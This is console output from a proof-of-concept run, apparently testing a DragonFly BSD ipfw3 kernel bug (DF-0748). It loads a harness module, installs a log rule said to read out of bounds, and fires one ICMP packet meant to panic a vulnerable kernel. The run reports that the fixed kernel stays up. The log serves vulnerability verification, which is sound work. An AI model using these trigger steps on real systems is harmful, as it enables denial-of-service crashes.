[*] DF-0748: loading ipfw3 stack
net.filters_default_to_accept: 1 -> 1
kldload: can't load ipfw3: module already loaded or in kernel
kldload: can't load ipfw3_basic: module already loaded or in kernel
 4    3 0xffffffff82600000    49000 ipfw3.ko
 5    2 0xffffffff82649000     8000 ipfw3_basic.ko
 6    1 0xffffffff82661000     1000 df748_wire_log.ko
[*] enabling verbose (gates entry to ip_fw3_log at ip_fw3_log.c:118)
net.inet.ip.fw3.verbose: 1 -> 1
[*] building+loading harness module that wires ip_fw3_log_ptr = ip_fw3_log
kldload: can't load /root/poc748/harness/df748_wire_log.ko: module already loaded or in kernel
 6    1 0xffffffff82661000     1000 df748_wire_log.ko
[*] installing vulnerable rule (id=12 reads OOB, returns non-canonical ptr)
01000   0     0 deny log 12 icmp from 127.0.0.1 to 127.0.0.1
65535 304 62528 allow
[*] firing one matching ICMP packet (panic now on vulnerable kernel)...
ping: sendto: Permission denied
PING 127.0.0.1 (127.0.0.1): 56 data bytes

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 0 packets received, 100.0% packet loss
[!] GUEST_UP_NO_PANIC (FIXED kernel; baseline would have panicked here)